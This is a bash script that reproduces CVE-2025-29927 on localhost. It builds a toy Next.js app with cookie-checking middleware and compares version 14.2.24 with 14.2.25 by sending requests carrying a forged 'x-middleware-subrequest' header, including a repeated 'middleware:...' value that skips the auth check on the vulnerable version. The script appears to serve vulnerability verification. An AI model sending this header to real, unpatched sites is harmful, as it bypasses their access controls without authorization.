#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

# Determine project cache directory / app directory
CACHE_CONTEXT="$ROOT/project_cache_context.json"
APP_DIR="$ROOT/artifacts/nextjs-app"
if [ -f "$CACHE_CONTEXT" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT")
  if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
    APP_DIR="$CACHE_DIR/repo"
  fi
fi
mkdir -p "$APP_DIR"

cd "$APP_DIR"

# Node version check
NODE_VERSION=$(node --version | sed 's/^v//')
REQUIRED_NODE="18.17.0"
if [ "$(printf '%s\n' "$REQUIRED_NODE" "$NODE_VERSION" | sort -V | head -n1)" != "$REQUIRED_NODE" ]; then
  echo "ERROR: Node.js >= $REQUIRED_NODE is required, found $NODE_VERSION" | tee "$LOGS/node_version_error.log"
  exit 2
fi

# Create / overwrite the Next.js app files
write_app_files() {
  mkdir -p app/protected

  cat > package.json <<'EOF'
{
  "name": "next-mw-bypass",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}
EOF

  cat > middleware.js <<'EOF'
import { NextResponse } from 'next/server';

export function middleware(req) {
  const hasAuth = req.cookies.get('auth')?.value === 'ok';
  if (!hasAuth) {
    return new NextResponse('Unauthorized', { status: 401 });
  }
  return NextResponse.next();
}

export const config = { matcher: ['/protected'] };
EOF

  cat > app/layout.js <<'EOF'
export default function RootLayout({ children }) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}
EOF

  cat > app/page.js <<'EOF'
export default function Home() {
  return <div>home</div>;
}
EOF

  cat > app/protected/page.js <<'EOF'
export default function Protected() {
  return <div>secret-data</div>;
}
EOF

  cat > next.config.js <<'EOF'
/** @type {import('next').NextConfig} */
const nextConfig = {};
module.exports = nextConfig;
EOF
}

write_app_files

# Install a specific Next.js version, plus React 18
install_version() {
  local ver="$1"
  jq --arg v "$ver" '.dependencies = {"next": $v, "react": "^18.3.1", "react-dom": "^18.3.1"}' package.json > package.json.tmp
  mv package.json.tmp package.json
  npm install --silent
}

run_attempt() {
  local role="$1"
  local attempt="$2"
  local port="$3"

  local log="$LOGS/nextjs-${role}-${attempt}.log"
  local normal_out="$LOGS/${role}-${attempt}-normal.txt"
  local bypass_out="$LOGS/${role}-${attempt}-bypass.txt"
  local bypass_poly_out="$LOGS/${role}-${attempt}-bypass-poly.txt"
  local body_out="$LOGS/${role}-${attempt}-bypass-body.html"
  local poly_body_out="$LOGS/${role}-${attempt}-bypass-poly-body.html"

  echo "[$role attempt $attempt] Starting server on port $port..." >&2

  # Clean previous build to ensure deterministic build for this version
  rm -rf .next

  npm run build > "$LOGS/${role}-${attempt}-build.log" 2>&1

  # Start the server
  PORT=$port npm run start > "$log" 2>&1 &
  local pid=$!

  # Wait for server to be ready
  local ready=0
  for i in $(seq 1 60); do
    if curl -s --max-time 2 "http://127.0.0.1:$port/" > /dev/null 2>&1; then
      ready=1
      break
    fi
    sleep 1
  done

  if [ "$ready" -eq 0 ]; then
    echo "[$role attempt $attempt] Server failed to start" | tee "$LOGS/${role}-${attempt}-error.log" >&2
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
    return 1
  fi

  echo "[$role attempt $attempt] Server ready. Testing routes..." >&2

  # Normal request without auth cookie: should be 401
  curl -s -o /dev/null -w "%{http_code}" --max-time 5 "http://127.0.0.1:$port/protected" > "$normal_out"

  # Bypass attempt 1: simple value (used in some PoCs, not always sufficient)
  curl -s -o "$body_out" -w "%{http_code}" --max-time 5 \
    -H 'x-middleware-subrequest: middleware' \
    "http://127.0.0.1:$port/protected" > "$bypass_out"

  # Bypass attempt 2: polyglot / repeated value (covers many middlewareInfo.name cases)
  curl -s -o "$poly_body_out" -w "%{http_code}" --max-time 5 \
    -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
    "http://127.0.0.1:$port/protected" > "$bypass_poly_out"

  local normal_code=$(cat "$normal_out")
  local bypass_code=$(cat "$bypass_out")
  local bypass_poly_code=$(cat "$bypass_poly_out")

  echo "[$role attempt $attempt] normal=$normal_code bypass=$bypass_code bypass_poly=$bypass_poly_code" | tee "$LOGS/${role}-${attempt}-summary.txt" >&2

  # Stop the server
  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true

  # Return only the result tuple on stdout
  echo "$normal_code $bypass_code $bypass_poly_code"
}

# Vulnerable version (14.2.24)
VULN_VERSION="14.2.24"
echo "Installing vulnerable Next.js $VULN_VERSION..." >&2
install_version "$VULN_VERSION"

VULN1=$(run_attempt "vuln" "1" "3000")
VULN2=$(run_attempt "vuln" "2" "3001")

# Fixed version (14.2.25)
FIXED_VERSION="14.2.25"
echo "Installing fixed Next.js $FIXED_VERSION..." >&2
install_version "$FIXED_VERSION"

FIX1=$(run_attempt "fixed" "1" "3002")
FIX2=$(run_attempt "fixed" "2" "3003")

echo "VULN1: $VULN1" >&2
echo "VULN2: $VULN2" >&2
echo "FIX1:  $FIX1" >&2
echo "FIX2:  $FIX2" >&2

# Evaluate the evidence
vuln_normal_1=$(echo "$VULN1" | awk '{print $1}')
vuln_bypass_1=$(echo "$VULN1" | awk '{print $2}')
vuln_bypass_poly_1=$(echo "$VULN1" | awk '{print $3}')
vuln_normal_2=$(echo "$VULN2" | awk '{print $1}')
vuln_bypass_2=$(echo "$VULN2" | awk '{print $2}')
vuln_bypass_poly_2=$(echo "$VULN2" | awk '{print $3}')
fixed_normal_1=$(echo "$FIX1" | awk '{print $1}')
fixed_bypass_1=$(echo "$FIX1" | awk '{print $2}')
fixed_bypass_poly_1=$(echo "$FIX1" | awk '{print $3}')
fixed_normal_2=$(echo "$FIX2" | awk '{print $1}')
fixed_bypass_2=$(echo "$FIX2" | awk '{print $2}')
fixed_bypass_poly_2=$(echo "$FIX2" | awk '{print $3}')

confirmed="unknown"
notes="Next.js middleware bypass evidence summary."

if [ "$vuln_normal_1" = "401" ] && [ "$vuln_normal_2" = "401" ] && \
   [ "$fixed_normal_1" = "401" ] && [ "$fixed_normal_2" = "401" ]; then
  # Normal requests are blocked on both versions (good)
  if ([ "$vuln_bypass_poly_1" = "200" ] && [ "$vuln_bypass_poly_2" = "200" ]) && \
     [ "$fixed_bypass_poly_1" = "401" ] && [ "$fixed_bypass_poly_2" = "401" ]; then
    confirmed="true"
    notes="Confirmed: x-middleware-subrequest header bypasses middleware on vulnerable Next.js $VULN_VERSION, while fixed Next.js $FIXED_VERSION continues to reject the bypass."
  else
    confirmed="false"
    notes="Normal requests blocked, but polyglot bypass did not behave as expected. Results: VULN1($VULN1) VULN2($VULN2) FIXED1($FIX1) FIXED2($FIX2)."
  fi
else
  confirmed="false"
  notes="Normal requests were not consistently blocked. Results: VULN1($VULN1) VULN2($VULN2) FIXED1($FIX1) FIXED2($FIX2)."
fi

cat > "$REPRO_DIR/runtime_manifest.json" <<EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Next.js self-hosted server (next start) on 127.0.0.1; middleware checks auth cookie on /protected; bypass via x-middleware-subrequest header",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["node", "next", "next-mw-bypass"],
  "proof_artifacts": [
    "logs/nextjs-vuln-1.log",
    "logs/nextjs-vuln-2.log",
    "logs/nextjs-fixed-1.log",
    "logs/nextjs-fixed-2.log",
    "logs/vuln-1-summary.txt",
    "logs/vuln-2-summary.txt",
    "logs/fixed-1-summary.txt",
    "logs/fixed-2-summary.txt",
    "logs/vuln-1-bypass-poly-body.html",
    "logs/vuln-2-bypass-poly-body.html"
  ],
  "notes": "$notes"
}
EOF

if [ "$confirmed" = "true" ]; then
  echo "Confirmed CVE-2025-29927: middleware bypass reproduced."
  exit 0
else
  echo "Failed to confirm CVE-2025-29927."
  exit 1
fi
